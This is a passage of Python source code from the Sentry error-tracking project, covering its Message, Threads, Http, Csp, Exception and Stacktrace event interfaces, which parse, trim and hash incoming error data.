        elif '%' in kwargs['message'] and kwargs['params']:
            if isinstance(kwargs['params'], list):
                kwargs['params'] = tuple(kwargs['params'])

            try:
                kwargs['formatted'] = trim(
                    kwargs['message'] % kwargs['params'],
                    settings.SENTRY_MAX_MESSAGE_LENGTH,
                )
            except Exception:
                pass
        # support very basic placeholder formatters (non-typed)
        elif '{}' in kwargs['message'] and kwargs['params']:
            try:
                kwargs['formatted'] = trim(
                    kwargs['message'].format(kwargs['params']),
                    settings.SENTRY_MAX_MESSAGE_LENGTH,
                )
            except Exception:
                pass

        # don't wastefully store formatted message twice
        if kwargs['formatted'] == kwargs['message']:
            kwargs['formatted'] = None

        return cls(**kwargs)

    def get_path(self):
        return 'sentry.interfaces.Message'

    def get_hash(self):
        return [self.message]

    def to_string(self, event, is_public=False, **kwargs):
        return self.formatted or self.message






from __future__ import absolute_import

from sentry.interfaces.base import Interface
from sentry.interfaces.stacktrace import Stacktrace
from sentry.utils.safe import trim

__all__ = ('Threads',)


class Threads(Interface):
    score = 1900

    @classmethod
    def to_python(cls, data):
        threads = []

        for thread in data.get('values') or ():
            stacktrace = thread.get('stacktrace')
            if stacktrace is not None:
                # Special case: if the thread has no frames we set the
                # stacktrace to none.  Otherwise this will fail really
                # badly.
                if not stacktrace.get('frames'):
                    stacktrace = None
                else:
                    stacktrace = Stacktrace.to_python(stacktrace,
                                                      slim_frames=True)
            threads.append({
                'stacktrace': stacktrace,
                'id': trim(thread.get('id'), 40),
                'crashed': bool(thread.get('crashed')),
                'current': bool(thread.get('current')),
                'name': trim(thread.get('name'), 200),
            })

        return cls(values=threads)

    def to_json(self):
        def export_thread(data):
            rv = {
                'id': data['id'],
                'current': data['current'],
                'crashed': data['crashed'],
                'name': data['name'],
                'stacktrace': None,
            }
            if data['stacktrace']:
                rv['stacktrace'] = data['stacktrace'].to_json()
            return rv

        return {
            'values': [export_thread(x) for x in self.values],
        }

    def get_api_context(self, is_public=False):
        def export_thread(data):
            rv = {
                'id': data['id'],
                'current': data['current'],
                'crashed': data['crashed'],
                'name': data['name'],
                'stacktrace': None,
            }
            if data['stacktrace']:
                rv['stacktrace'] = data['stacktrace'].get_api_context(
                    is_public=is_public)
            return rv

        return {
            'values': [export_thread(x) for x in self.values],
        }

    def get_path(self):
        return 'threads'






"""
sentry.interfaces.http
~~~~~~~~~~~~~~~~~~~~~~

:copyright: (c) 2010-2014 by the Sentry Team, see AUTHORS for more details.
:license: BSD, see LICENSE for more details.
"""

from __future__ import absolute_import

__all__ = ('Http',)

import re
import six

from django.conf import settings
from django.utils.translation import ugettext as _
from six.moves.urllib.parse import parse_qsl, urlencode, urlsplit, urlunsplit

from sentry.interfaces.base import Interface, InterfaceValidationError
from sentry.utils import json
from sentry.utils.safe import trim, trim_dict, trim_pairs
from sentry.web.helpers import render_to_string

# Instead of relying on a list of hardcoded methods, just loosly match
# against a pattern.
http_method_re = re.compile(r'^[A-Z\-_]{3,32}$')


def to_bytes(value):
    if isinstance(value, six.text_type):
        return value.encode('utf-8')
    return six.binary_type(value)


def format_headers(value):
    if not value:
        return ()

    if isinstance(value, dict):
        value = value.items()

    result = []
    cookie_header = None
    for k, v in value:
        # If a header value is a list of header,
        # we want to normalize this into a comma separated list
        # This is how most other libraries handle this.
        # See: urllib3._collections:HTTPHeaderDict.itermerged
        if isinstance(v, list):
            v = ', '.join(v)

        if k.lower() == 'cookie':
            cookie_header = v
        else:
            if not isinstance(v, six.string_types):
                v = six.text_type(v)
            result.append((k.title(), v))
    return result, cookie_header


def format_cookies(value):
    if not value:
        return ()

    if isinstance(value, six.string_types):
        value = parse_qsl(value, keep_blank_values=True)

    if isinstance(value, dict):
        value = value.items()

    return [
        list(map(fix_broken_encoding, (k.strip(), v)))
        for k, v in value
    ]


def fix_broken_encoding(value):
    """
    Strips broken characters that can't be represented at all
    in utf8. This prevents our parsers from breaking elsewhere.
    """
    if isinstance(value, six.text_type):
        value = value.encode('utf8', errors='replace')
    if isinstance(value, six.binary_type):
        value = value.decode('utf8', errors='replace')
    return value


class Http(Interface):
    """
    The Request information is stored in the Http interface. Two arguments
    are required: ``url`` and ``method``.

    The ``env`` variable is a compounded dictionary of HTTP headers as well
    as environment information passed from the webserver. Sentry will explicitly
    look for ``REMOTE_ADDR`` in ``env`` for things which require an IP address.

    The ``data`` variable should only contain the request body (not the query
    string). It can either be a dictionary (for standard HTTP requests) or a
    raw request body.

    >>>  {
    >>>     "url": "http://absolute.uri/foo",
    >>>     "method": "POST",
    >>>     "data": "foo=bar",
    >>>     "query_string": "hello=world",
    >>>     "cookies": "foo=bar",
    >>>     "headers": [
    >>>         ["Content-Type", "text/html"]
    >>>     ],
    >>>     "env": {
    >>>         "REMOTE_ADDR": "192.168.0.1"
    >>>     }
    >>>  }

    .. note:: This interface can be passed as the 'request' key in addition
              to the full interface path.
    """
    display_score = 1000
    score = 800

    FORM_TYPE = 'application/x-www-form-urlencoded'

    @classmethod
    def to_python(cls, data):
        if not data.get('url'):
            raise InterfaceValidationError("No value for 'url'")

        kwargs = {}

        if data.get('method'):
            method = data['method'].upper()
            # Optimize for the common path here, where it's a GET/POST, falling
            # back to a regular expresion test
            if method not in ('GET', 'POST') and not http_method_re.match(method):
                raise InterfaceValidationError("Invalid value for 'method'")
            kwargs['method'] = method
        else:
            kwargs['method'] = None

        scheme, netloc, path, query_bit, fragment_bit = urlsplit(data['url'])

        query_string = data.get('query_string') or query_bit
        if query_string:
            # if querystring was a dict, convert it to a string
            if isinstance(query_string, dict):
                query_string = urlencode([(to_bytes(k), to_bytes(v))
                                          for k, v in query_string.items()])
            else:
                query_string = query_string
                if query_string[0] == '?':
                    # remove '?' prefix
                    query_string = query_string[1:]
            kwargs['query_string'] = trim(query_string, 4096)
        else:
            kwargs['query_string'] = ''

        fragment = data.get('fragment') or fragment_bit

        cookies = data.get('cookies')
        # if cookies were [also] included in headers we
        # strip them out
        headers = data.get('headers')
        if headers:
            headers, cookie_header = format_headers(headers)
            if not cookies and cookie_header:
                cookies = cookie_header
        else:
            headers = ()

        body = data.get('data')
        if isinstance(body, dict):
            body = json.dumps(body)

        if body:
            body = trim(body, settings.SENTRY_MAX_HTTP_BODY_SIZE)

        kwargs['cookies'] = trim_pairs(format_cookies(cookies))
        kwargs['env'] = trim_dict(data.get('env') or {})
        kwargs['headers'] = trim_pairs(headers)
        kwargs['data'] = fix_broken_encoding(body)
        kwargs['url'] = urlunsplit((scheme, netloc, path, '', ''))
        kwargs['fragment'] = trim(fragment, 1024)

        return cls(**kwargs)

    def get_path(self):
        return 'sentry.interfaces.Http'

    @property
    def full_url(self):
        url = self.url
        if self.query_string:
            url = url + '?' + self.query_string
        if self.fragment:
            url = url + '#' + self.fragment
        return url

    def to_email_html(self, event, **kwargs):
        return render_to_string('sentry/partial/interfaces/http_email.html', {
            'event': event,
            'url': self.full_url,
            'short_url': self.url,
            'method': self.method,
            'query_string': self.query_string,
            'fragment': self.fragment,
        })

    def get_alias(self):
        return 'request'

    def get_title(self):
        return _('Request')

    def get_api_context(self, is_public=False):
        if is_public:
            return {}

        data = self.data
        if isinstance(data, dict):
            data = json.dumps(data)

        cookies = self.cookies or ()
        if isinstance(cookies, dict):
            cookies = sorted(self.cookies.items())

        headers = self.headers or ()
        if isinstance(headers, dict):
            headers = sorted(self.headers.items())

        data = {
            'method': self.method,
            'url': self.url,
            'query': self.query_string,
            'fragment': self.fragment,
            'data': data,
            'headers': headers,
            'cookies': cookies,
            'env': self.env or None,
        }
        return data






"""
sentry.interfaces.csp
~~~~~~~~~~~~~~~~~~~~~

:copyright: (c) 2010-2015 by the Sentry Team, see AUTHORS for more details.
:license: BSD, see LICENSE for more details.
"""

from __future__ import absolute_import

__all__ = ('Csp',)

from six.moves.urllib.parse import urlsplit, urlunsplit

from sentry.interfaces.base import Interface
from sentry.utils import json
from sentry.utils.cache import memoize
from sentry.utils.safe import trim
from sentry.web.helpers import render_to_string


# Sourced from https://developer.mozilla.org/en-US/docs/Web/Security/CSP/CSP_policy_directives
REPORT_KEYS = frozenset((
    'blocked_uri', 'document_uri', 'effective_directive', 'original_policy',
    'referrer', 'status_code', 'violated_directive', 'source_file',
    'line_number', 'column_number',

    # FireFox specific keys
    'script_sample',
))

KEYWORDS = frozenset((
    "'none'", "'self'", "'unsafe-inline'", "'unsafe-eval'",
))


ALL_SCHEMES = (
    'data:', 'mediastream:', 'blob:', 'filesystem:',
    'http:', 'https:', 'file:',
)

SELF = "'self'"

DIRECTIVE_TO_MESSAGES = {
    # 'base-uri': '',
    'child-src': (u"Blocked 'child' from '{uri}'", "Blocked inline 'child'"),
    'connect-src': (u"Blocked 'connect' from '{uri}'", "Blocked inline 'connect'"),
    # 'default-src': '',
    'font-src': (u"Blocked 'font' from '{uri}'", "Blocked inline 'font'"),
    'form-action': (u"Blocked 'form' action to '{uri}'",),  # no inline option
    # 'frame-ancestors': '',
    'img-src': (u"Blocked 'image' from '{uri}'", "Blocked inline 'image'"),
    'manifest-src': (u"Blocked 'manifest' from '{uri}'", "Blocked inline 'manifest'"),
    'media-src': (u"Blocked 'media' from '{uri}'", "Blocked inline 'media'"),
    'object-src': (u"Blocked 'object' from '{uri}'", "Blocked inline 'object'"),
    # 'plugin-types': '',
    # 'referrer': '',
    # 'reflected-xss': '',
    'script-src': (u"Blocked 'script' from '{uri}'", "Blocked unsafe (eval() or inline) 'script'"),
    'style-src': (u"Blocked 'style' from '{uri}'", "Blocked inline 'style'"),
    # 'upgrade-insecure-requests': '',
}

DEFAULT_MESSAGE = ('Blocked {directive!r} from {uri!r}', 'Blocked inline {directive!r}')


class Csp(Interface):
    """
    A CSP violation report.

    See also: http://www.w3.org/TR/CSP/#violation-reports

    >>> {
    >>>     "document_uri": "http://example.com/",
    >>>     "violated_directive": "style-src cdn.example.com",
    >>>     "blocked_uri": "http://example.com/style.css",
    >>>     "effective_directive": "style-src",
    >>> }
    """

    score = 1300
    display_score = 1300

    @classmethod
    def to_python(cls, data):
        kwargs = {k: trim(data.get(k, None), 1024) for k in REPORT_KEYS}

        # Anything resulting from an "inline" whatever violation is either sent
        # as 'self', or left off. In the case if it missing, we want to noramalize.
        if not kwargs['blocked_uri']:
            kwargs['blocked_uri'] = 'self'

        return cls(**kwargs)

    def get_hash(self):
        directive = self.effective_directive
        uri = self._normalized_blocked_uri

        # We want to distinguish between the different script-src
        # violations that happen in
        if _is_unsafe_script(directive, uri) and self.violated_directive:
            if "'unsafe-inline" in self.violated_directive:
                uri = "'unsafe-eval'"
            elif "'unsafe-eval'" in self.violated_directive:
                uri = "'unsafe-inline"

        return [directive, uri]

    def get_message(self):
        directive = self.effective_directive
        uri = self._normalized_blocked_uri

        index = 1 if uri == SELF else 0

        tmpl = None

        # We want to special case script-src because they have
        # unsafe-inline and unsafe-eval, but the report is ambiguous.
        # so we want to attempt to guess which it was
        if _is_unsafe_script(directive, uri) and self.violated_directive:
            if "'unsafe-inline'" in self.violated_directive:
                tmpl = "Blocked unsafe eval() 'script'"
            elif "'unsafe-eval'" in self.violated_directive:
                tmpl = "Blocked unsafe inline 'script'"

        if tmpl is None:
            try:
                tmpl = DIRECTIVE_TO_MESSAGES[directive][index]
            except (KeyError, IndexError):
                tmpl = DEFAULT_MESSAGE[index]

        return tmpl.format(directive=directive, uri=uri)

    def get_culprit(self):
        return self._normalize_directive(self.violated_directive)

    def get_tags(self):
        return (
            ('effective-directive', self.effective_directive),
            ('blocked-uri', self.blocked_uri),
        )

    @memoize
    def _normalized_blocked_uri(self):
        return _normalize_uri(self.blocked_uri)

    @memoize
    def _normalized_document_uri(self):
        return _normalize_uri(self.document_uri)

    def _normalize_directive(self, directive):
        bits = [d for d in directive.split(' ') if d]
        return ' '.join([bits[0]] + list(map(self._normalize_value, bits[1:])))

    def _normalize_value(self, value):
        # > If no scheme is specified, the same scheme as the one used to
        # > access the protected document is assumed.
        # Source: https://developer.mozilla.org/en-US/docs/Web/Security/CSP/CSP_policy_directives
        if value in KEYWORDS:
            return value

        # normalize a value down to 'self' if it matches the origin of document-uri
        # FireFox transforms a 'self' value into the spelled out origin, so we
        # want to reverse this and bring it back
        if value.startswith(ALL_SCHEMES):
            if self._normalized_document_uri == _normalize_uri(value):
                return SELF
            # Their rule had an explicit scheme, so let's respect that
            return value

        # value doesn't have a scheme, but let's see if their
        # hostnames match at least, if so, they're the same
        if value == self._normalized_document_uri:
            return SELF

        # Now we need to stitch on a scheme to the value
        scheme = self.document_uri.split(':', 1)[0]
        # But let's not stitch on the boring values
        if scheme in ('http', 'https'):
            return value
        return _unsplit(scheme, value)

    def get_title(self):
        return 'CSP Report'

    def to_string(self, is_public=False, **kwargs):
        return json.dumps({'csp-report': self.get_api_context()}, indent=2)

    def to_email_html(self, event, **kwargs):
        return render_to_string(
            'sentry/partial/interfaces/csp_email.html',
            {'data': self.get_api_context()}
        )

    def get_path(self):
        return 'sentry.interfaces.Csp'


def _is_unsafe_script(directive, uri):
    return directive == 'script-src' and uri == SELF


def _normalize_uri(value):
    if value in ('self', "'self'"):
        return SELF

    # A lot of these values get reported as literally
    # just the scheme. So a value like 'data' or 'blob', which
    # are valid schemes, just not a uri. So we want to
    # normalize it into a uri.
    if ':' not in value:
        scheme, hostname = value, ''
    else:
        scheme, hostname = urlsplit(value)[:2]
        if scheme in ('http', 'https'):
            return hostname
    return _unsplit(scheme, hostname)


def _unsplit(scheme, hostname):
    return urlunsplit((scheme, hostname, '', None, None))






"""
sentry.interfaces.exception
~~~~~~~~~~~~~~~~~~~~~~~~~~~

:copyright: (c) 2010-2014 by the Sentry Team, see AUTHORS for more details.
:license: BSD, see LICENSE for more details.
"""

from __future__ import absolute_import

__all__ = ('Exception',)

import six

from django.conf import settings

from sentry.interfaces.base import Interface, InterfaceValidationError
from sentry.interfaces.stacktrace import Stacktrace, slim_frame_data
from sentry.utils import json
from sentry.utils.safe import trim


class SingleException(Interface):
    """
    A standard exception with a ``type`` and value argument, and an optional
    ``module`` argument describing the exception class type and
    module namespace. Either ``type`` or ``value`` must be present.

    You can also optionally bind a stacktrace interface to an exception. The
    spec is identical to ``sentry.interfaces.Stacktrace``.

    >>>  {
    >>>     "type": "ValueError",
    >>>     "value": "My exception value",
    >>>     "module": "__builtins__",
    >>>     "mechanism": {},
    >>>     "stacktrace": {
    >>>         # see sentry.interfaces.Stacktrace
    >>>     }
    >>> }
    """
    score = 2000

    @classmethod
    def to_python(cls, data, has_system_frames=None, slim_frames=True):
        if not (data.get('type') or data.get('value')):
            raise InterfaceValidationError("No 'type' or 'value' present")

        if data.get('stacktrace') and data['stacktrace'].get('frames'):
            stacktrace = Stacktrace.to_python(
                data['stacktrace'],
                has_system_frames=has_system_frames,
                slim_frames=slim_frames,
            )
        else:
            stacktrace = None

        if data.get('raw_stacktrace') and data['raw_stacktrace'].get('frames'):
            raw_stacktrace = Stacktrace.to_python(
                data['raw_stacktrace'],
                has_system_frames=has_system_frames,
                slim_frames=slim_frames,
            )
        else:
            raw_stacktrace = None

        type = data.get('type')
        value = data.get('value')
        if not type and ':' in value.split(' ', 1)[0]:
            type, value = value.split(':', 1)
            # in case of TypeError: foo (no space)
            value = value.strip()

        if value is not None and not isinstance(value, six.string_types):
            value = json.dumps(value)
        value = trim(value, 4096)

        mechanism = data.get('mechanism')
        if mechanism is not None:
            if not isinstance(mechanism, dict):
                raise InterfaceValidationError('Bad value for mechanism')
            mechanism = trim(data.get('mechanism'), 4096)
            mechanism.setdefault('type', 'generic')

        kwargs = {
            'type': trim(type, 128),
            'value': value,
            'module': trim(data.get('module'), 128),
            'mechanism': mechanism,
            'stacktrace': stacktrace,
            'thread_id': trim(data.get('thread_id'), 40),
            'raw_stacktrace': raw_stacktrace,
        }

        return cls(**kwargs)

    def to_json(self):
        if self.stacktrace:
            stacktrace = self.stacktrace.to_json()
        else:
            stacktrace = None

        if self.raw_stacktrace:
            raw_stacktrace = self.raw_stacktrace.to_json()
        else:
            raw_stacktrace = None

        return {
            'type': self.type,
            'value': self.value,
            'mechanism': self.mechanism or None,
            'module': self.module,
            'stacktrace': stacktrace,
            'thread_id': self.thread_id,
            'raw_stacktrace': raw_stacktrace,
        }

    def get_api_context(self, is_public=False):
        if self.stacktrace:
            stacktrace = self.stacktrace.get_api_context(is_public=is_public)
        else:
            stacktrace = None

        if self.raw_stacktrace:
            raw_stacktrace = self.raw_stacktrace.get_api_context(is_public=is_public)
        else:
            raw_stacktrace = None

        return {
            'type': self.type,
            'value': six.text_type(self.value) if self.value else None,
            'mechanism': self.mechanism or None,
            'threadId': self.thread_id,
            'module': self.module,
            'stacktrace': stacktrace,
            'rawStacktrace': raw_stacktrace,
        }

    def get_alias(self):
        return 'exception'

    def get_path(self):
        return 'sentry.interfaces.Exception'

    def get_hash(self):
        output = None
        if self.stacktrace:
            output = self.stacktrace.get_hash()
            if output and self.type:
                output.append(self.type)
        if not output:
            output = [s for s in [self.type, self.value] if s]
        return output


class Exception(Interface):
    """
    An exception consists of a list of values. In most cases, this list
    contains a single exception, with an optional stacktrace interface.

    Each exception has a mandatory ``value`` argument and optional ``type`` and
    ``module`` arguments describing the exception class type and module
    namespace.

    You can also optionally bind a stacktrace interface to an exception. The
    spec is identical to ``sentry.interfaces.Stacktrace``.

    >>> {
    >>>     "values": [{
    >>>         "type": "ValueError",
    >>>         "value": "My exception value",
    >>>         "module": "__builtins__",
    >>>         "mechanism": {},
    >>>         "stacktrace": {
    >>>             # see sentry.interfaces.Stacktrace
    >>>         }
    >>>     }]
    >>> }

    Values should be sent oldest to newest, this includes both the stacktrace
    and the exception itself.

    .. note:: This interface can be passed as the 'exception' key in addition
              to the full interface path.
    """

    score = 2000

    def __getitem__(self, key):
        return self.values[key]

    def __iter__(self):
        return iter(self.values)

    def __len__(self):
        return len(self.values)

    @classmethod
    def to_python(cls, data):
        if 'values' not in data:
            data = {'values': [data]}

        if not data['values']:
            raise InterfaceValidationError("No 'values' present")

        has_system_frames = cls.data_has_system_frames(data)

        kwargs = {
            'values': [
                SingleException.to_python(
                    v,
                    has_system_frames=has_system_frames,
                    slim_frames=False,
                )
                for v in data['values']
            ],
        }

        if data.get('exc_omitted'):
            if len(data['exc_omitted']) != 2:
                raise InterfaceValidationError("Invalid value for 'exc_omitted'")
            kwargs['exc_omitted'] = data['exc_omitted']
        else:
            kwargs['exc_omitted'] = None

        instance = cls(**kwargs)
        # we want to wait to slim things til we've reconciled in_app
        slim_exception_data(instance)
        return instance

    @classmethod
    def data_has_system_frames(cls, data):
        system_frames = 0
        app_frames = 0
        for exc in data['values']:
            if not exc.get('stacktrace'):
                continue

            frames = exc['stacktrace'].get('frames')
            if not frames:
                continue

            for frame in frames:
                # XXX(dcramer): handle PHP sending an empty array for a frame
                if not isinstance(frame, dict):
                    continue
                if frame.get('in_app') is True:
                    app_frames += 1
                else:
                    system_frames += 1

        # if there is a mix of frame styles then we indicate that system frames
        # are present and should be represented as a split
        return bool(app_frames and system_frames)

    def to_json(self):
        return {
            'values': [v.to_json() for v in self.values],
            'exc_omitted': self.exc_omitted,
        }

    def get_alias(self):
        return 'exception'

    def get_path(self):
        return 'sentry.interfaces.Exception'

    def compute_hashes(self, platform):
        system_hash = self.get_hash(system_frames=True)
        if not system_hash:
            return []

        app_hash = self.get_hash(system_frames=False)
        if system_hash == app_hash or not app_hash:
            return [system_hash]

        return [system_hash, app_hash]

    def get_hash(self, system_frames=True):
        # optimize around the fact that some exceptions might have stacktraces
        # while others may not and we ALWAYS want stacktraces over values
        output = []
        for value in self.values:
            if not value.stacktrace:
                continue
            stack_hash = value.stacktrace.get_hash(
                system_frames=system_frames,
            )
            if stack_hash:
                output.extend(stack_hash)
                output.append(value.type)

        if not output:
            for value in self.values:
                output.extend(value.get_hash())

        return output

    def get_api_context(self, is_public=False):
        return {
            'values': [
                v.get_api_context(is_public=is_public)
                for v in self.values
            ],
            'hasSystemFrames': any(
                v.stacktrace.has_system_frames
                for v in self.values
                if v.stacktrace
            ),
            'excOmitted': self.exc_omitted,
        }

    def to_string(self, event, is_public=False, **kwargs):
        if not self.values:
            return ''

        output = []
        for exc in self.values:
            output.append(u'{0}: {1}\n'.format(exc.type, exc.value))
            if exc.stacktrace:
                output.append(exc.stacktrace.get_stacktrace(
                    event, system_frames=False, max_frames=5,
                    header=False) + '\n\n')
        return (''.join(output)).strip()

    def get_stacktrace(self, *args, **kwargs):
        exc = self.values[0]
        if exc.stacktrace:
            return exc.stacktrace.get_stacktrace(*args, **kwargs)
        return ''


def slim_exception_data(instance, frame_allowance=settings.SENTRY_MAX_STACKTRACE_FRAMES):
    """
    Removes various excess metadata from middle frames which go beyond
    ``frame_allowance``.
    """
    # TODO(dcramer): it probably makes sense to prioritize a certain exception
    # rather than distributing allowance among all exceptions
    frames = []
    for exception in instance.values:
        if not exception.stacktrace:
            continue
        frames.extend(exception.stacktrace.frames)

    slim_frame_data(frames, frame_allowance)






"""
sentry.interfaces.stacktrace
~~~~~~~~~~~~~~~~~~~~~~~~~~~~

:copyright: (c) 2010-2014 by the Sentry Team, see AUTHORS for more details.
:license: BSD, see LICENSE for more details.
"""

from __future__ import absolute_import

__all__ = ('Stacktrace',)

import re
import six

from django.conf import settings
from django.utils.translation import ugettext as _
from six.moves.urllib.parse import urlparse

from sentry.app import env
from sentry.interfaces.base import Interface, InterfaceValidationError
from sentry.models import UserOption
from sentry.utils.safe import trim, trim_dict
from sentry.web.helpers import render_to_string
from sentry.constants import VALID_PLATFORMS


_ruby_anon_func = re.compile(r'_\d{2,}')
_filename_version_re = re.compile(r"""(?:
    v?(?:\d+\.)*\d+|   # version numbers, v1, 1.0.0
    [a-f0-9]{7,8}|     # short sha
    [a-f0-9]{32}|      # md5
    [a-f0-9]{40}       # sha1
)/""", re.X | re.I)

# Java Spring specific anonymous classes.
# see: http://mydailyjava.blogspot.co.at/2013/11/cglib-missing-manual.html
_java_enhancer_re = re.compile(r'''
(\$\$[\w_]+?CGLIB\$\$)[a-fA-F0-9]+(_[0-9]+)?
''', re.X)


def trim_package(pkg):
    if not pkg:
        return '?'
    pkg = pkg.split('/')[-1]
    if pkg.endswith(('.dylib', '.so', '.a')):
        pkg = pkg.rsplit('.', 1)[0]
    return pkg


def to_hex_addr(addr):
    if addr is None:
        return None
    elif isinstance(addr, six.integer_types):
        return '0x%x' % addr
    elif isinstance(addr, six.string_types):
        if addr[:2] == '0x':
            return addr
        return '0x%x' % int(addr)
    raise ValueError('Unsupported address format %r' % (addr,))


def get_context(lineno, context_line, pre_context=None, post_context=None,
                filename=None):
    if lineno is None:
        return []

    if context_line is None and not (pre_context or post_context):
        return []

    lineno = int(lineno)
    context = []
    start_lineno = lineno - len(pre_context or [])
    if pre_context:
        start_lineno = lineno - len(pre_context)
        at_lineno = start_lineno
        for line in pre_context:
            context.append((at_lineno, line))
            at_lineno += 1
    else:
        start_lineno = lineno
        at_lineno = lineno

    if start_lineno < 0:
        start_lineno = 0

    context.append((at_lineno, context_line))
    at_lineno += 1

    if post_context:
        for line in post_context:
            context.append((at_lineno, line))
            at_lineno += 1

    # HACK:
    if filename and is_url(filename) and '.' not in filename.rsplit('/', 1)[-1]:
        filename = 'index.html'

    return context


def is_newest_frame_first(event):
    newest_first = event.platform not in ('python', None)

    if env.request and env.request.user.is_authenticated():
        display = UserOption.objects.get_value(
            user=env.request.user,
            project=None,
            key='stacktrace_order',
            default=None,
        )
        if display == '1':
            newest_first = False
        elif display == '2':
            newest_first = True

    return newest_first


def is_url(filename):
    return filename.startswith(('file:', 'http:', 'https:'))


def remove_function_outliers(function):
    """
    Attempt to normalize functions by removing common platform outliers.

    - Ruby generates (random?) integers for various anonymous style functions
      such as in erb and the active_support library.
    - Block functions have metadata that we don't care about.
    """
    if function.startswith('block '):
        return 'block'
    return _ruby_anon_func.sub('_<anon>', function)


def remove_filename_outliers(filename):
    """
    Attempt to normalize filenames by removing common platform outliers.

    - Sometimes filename paths contain build numbers
    """
    return _filename_version_re.sub('<version>/', filename)


def remove_module_outliers(module):
    """Remove things that augment the module but really should not."""
    return _java_enhancer_re.sub(r'\1<auto>', module)


def slim_frame_data(frames, frame_allowance=settings.SENTRY_MAX_STACKTRACE_FRAMES):
    """
    Removes various excess metadata from middle frames which go beyond
    ``frame_allowance``.
    """
    frames_len = 0
    app_frames = []
    system_frames = []
    for frame in frames:
        frames_len += 1
        if frame.in_app:
            app_frames.append(frame)
        else:
            system_frames.append(frame)

    if frames_len <= frame_allowance:
        return

    remaining = frames_len - frame_allowance
    app_count = len(app_frames)
    system_allowance = max(frame_allowance - app_count, 0)
    if system_allowance:
        half_max = system_allowance / 2
        # prioritize trimming system frames
        for frame in system_frames[half_max:-half_max]:
            frame.vars = None
            frame.pre_context = None
            frame.post_context = None
            remaining -= 1

    else:
        for frame in system_frames:
            frame.vars = None
            frame.pre_context = None
            frame.post_context = None
            remaining -= 1

    if not remaining:
        return

    app_allowance = app_count - remaining
    half_max = app_allowance / 2

    for frame in app_frames[half_max:-half_max]:
        frame.vars = None
        frame.pre_context = None
        frame.post_context = None


def validate_bool(value, required=True):
    if required:
        assert value in (True, False)
    else:
        assert value in (True, False, None)
    return value


def handle_nan(value):
    "Remove nan values that can't be json encoded"
    if isinstance(value, float):
        if value == float('inf'):
            return '<inf>'
        if value == float('-inf'):
            return '<-inf>'
        # lol checking for float('nan')
        if value != value:
            return '<nan>'
    return value


class Frame(Interface):
    @classmethod
    def to_python(cls, data):
        abs_path = data.get('abs_path')
        filename = data.get('filename')
        function = data.get('function')
        module = data.get('module')

        for name in ('abs_path', 'filename', 'function', 'module'):
            v = data.get(name)
            if v is not None and not isinstance(v, six.string_types):
                raise InterfaceValidationError("Invalid value for '%s'" % name)

        # absolute path takes priority over filename
        # (in the end both will get set)
        if not abs_path:
            abs_path = filename
            filename = None

        if not filename and abs_path:
            if is_url(abs_path):
                urlparts = urlparse(abs_path)
                if urlparts.path:
                    filename = urlparts.path
                else:
                    filename = abs_path
            else:
                filename = abs_path

        if not (filename or function or module):
            raise InterfaceValidationError("No 'filename' or 'function' or 'module'")

        if function == '?':
            function = None

        platform = data.get('platform')
        if platform not in VALID_PLATFORMS:
            platform = None

        context_locals = data.get('vars') or {}
        if isinstance(context_locals, (list, tuple)):
            context_locals = dict(enumerate(context_locals))
        elif not isinstance(context_locals, dict):
            context_locals = {}
        context_locals = trim_dict(context_locals, object_hook=handle_nan)

        # extra data is used purely by internal systems,
        # so we dont trim it
        extra_data = data.get('data') or {}
        if isinstance(extra_data, (list, tuple)):
            extra_data = dict(enumerate(extra_data))

        # XXX: handle lines which were sent as 'null'
        context_line = trim(data.get('context_line'), 256)
        if context_line is not None:
            pre_context = data.get('pre_context', None)
            if pre_context:
                pre_context = [c or '' for c in pre_context]

            post_context = data.get('post_context', None)
            if post_context:
                post_context = [c or '' for c in post_context]
        else:
            pre_context, post_context = None, None

        try:
            in_app = validate_bool(data.get('in_app'), False)
        except AssertionError:
            raise InterfaceValidationError("Invalid value for 'in_app'")

        instruction_offset = data.get('instruction_offset')
        if instruction_offset is not None and \
           not isinstance(instruction_offset, six.integer_types):
            raise InterfaceValidationError("Invalid value for 'instruction_offset'")

        kwargs = {
            'abs_path': trim(abs_path, 256),
            'filename': trim(filename, 256),
            'platform': platform,
            'module': trim(module, 256),
            'function': trim(function, 256),
            'package': trim(data.get('package'), 256),
            'image_addr': to_hex_addr(trim(data.get('image_addr'), 16)),
            'symbol_addr': to_hex_addr(trim(data.get('symbol_addr'), 16)),
            'instruction_addr': to_hex_addr(trim(data.get('instruction_addr'), 16)),
            'instruction_offset': instruction_offset,
            'in_app': in_app,
            'context_line': context_line,
            # TODO(dcramer): trim pre/post_context
            'pre_context': pre_context,
            'post_context': post_context,
            'vars': context_locals,
            'data': extra_data,
            'errors': data.get('errors'),
        }

        if data.get('lineno') is not None:
            lineno = int(data['lineno'])
            if lineno < 0:
                lineno = None
            kwargs['lineno'] = lineno
        else:
            kwargs['lineno'] = None

        if data.get('colno') is not None:
            kwargs['colno'] = int(data['colno'])
        else:
            kwargs['colno'] = None

        return cls(**kwargs)

    def get_hash(self):
        """
        The hash of the frame varies depending on the data available.

        Our ideal scenario is the module name in addition to the line of
        context. However, in several scenarios we opt for other approaches due
        to platform constraints.

        This is one of the few areas in Sentry that isn't platform-agnostic.
        """
        output = []
        if self.module:
            if self.is_unhashable_module():
                output.append('<module>')
            else:
                output.append(remove_module_outliers(self.module))
        elif self.filename and not self.is_url() and not self.is_caused_by():
            output.append(remove_filename_outliers(self.filename))

        if self.context_line is None:
            can_use_context = False
        elif len(self.context_line) > 120:
            can_use_context = False
        elif self.is_url() and not self.function:
            # the context is too risky to use here as it could be something
            # coming from an HTML page or it could be minified/unparseable
            # code, so lets defer to other lesser heuristics (like lineno)
            can_use_context = False
        elif self.function and self.is_unhashable_function():
            can_use_context = True
        else:
            can_use_context = True

        # XXX: hack around what appear to be non-useful lines of context
        if can_use_context:
            output.append(self.context_line)
        elif not output:
            # If we were unable to achieve any context at this point
            # (likely due to a bad JavaScript error) we should just
            # bail on recording this frame
            return output
        elif self.function:
            if self.is_unhashable_function():
                output.append('<function>')
            else:
                output.append(remove_function_outliers(self.function))
        elif self.lineno is not None:
            output.append(self.lineno)
        return output

    def get_api_context(self, is_public=False):
        data = {
            'filename': self.filename,
            'absPath': self.abs_path,
            'module': self.module,
            'package': self.package,
            'platform': self.platform,
            'instructionAddr': self.instruction_addr,
            'instructionOffset': self.instruction_offset,
            'symbolAddr': self.symbol_addr,
            'function': self.function,
            'context': get_context(
                lineno=self.lineno,
                context_line=self.context_line,
                pre_context=self.pre_context,
                post_context=self.post_context,
                filename=self.filename or self.module,
            ),
            'lineNo': self.lineno,
            'colNo': self.colno,
